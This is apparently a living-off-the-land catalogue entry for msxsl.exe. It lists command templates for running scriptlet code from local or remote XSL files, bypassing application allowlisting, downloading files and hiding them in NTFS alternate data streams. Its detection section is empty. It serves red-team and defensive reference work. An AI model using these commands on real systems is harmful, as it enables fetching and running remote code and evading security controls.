msxsl.exe

Command line utility used to perform XSL transformations.

Paths

  • no default

Commands

Execute

Run COM Scriptlet code within the script.xsl file (local).

Use case: Local execution of script stored in XSL file.

Privileges: User

msxsl.exe {PATH:.xml} {PATH:.xsl}

AWL Bypass

Run COM Scriptlet code within the script.xsl file (local).

Use case: Local execution of script stored in XSL file.

Privileges: User

msxsl.exe {PATH:.xml} {PATH:.xsl}

Execute

Run COM Scriptlet code within the shellcode.xml(xsl) file (remote).

Use case: Local execution of remote script stored in XSL script stored as an XML file.

Privileges: User

msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xsl}

AWL Bypass

Run COM Scriptlet code within the shellcode.xml(xsl) file (remote).

Use case: Local execution of remote script stored in XSL script stored as an XML file.

Privileges: User

msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xml}

Download

Using remote XML and XSL files, save the transformed XML file to disk.

Use case: Download a file from the internet and save it to disk.

Privileges: User

msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xsl} -o {PATH}

ADS

Using remote XML and XSL files, save the transformed XML file to an Alternate Data Stream (ADS).

Use case: Download a file from the internet and save it to an NTFS Alternate Data Stream.

Privileges: User

msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xsl} -o {PATH}:ads-name

Detection

Resources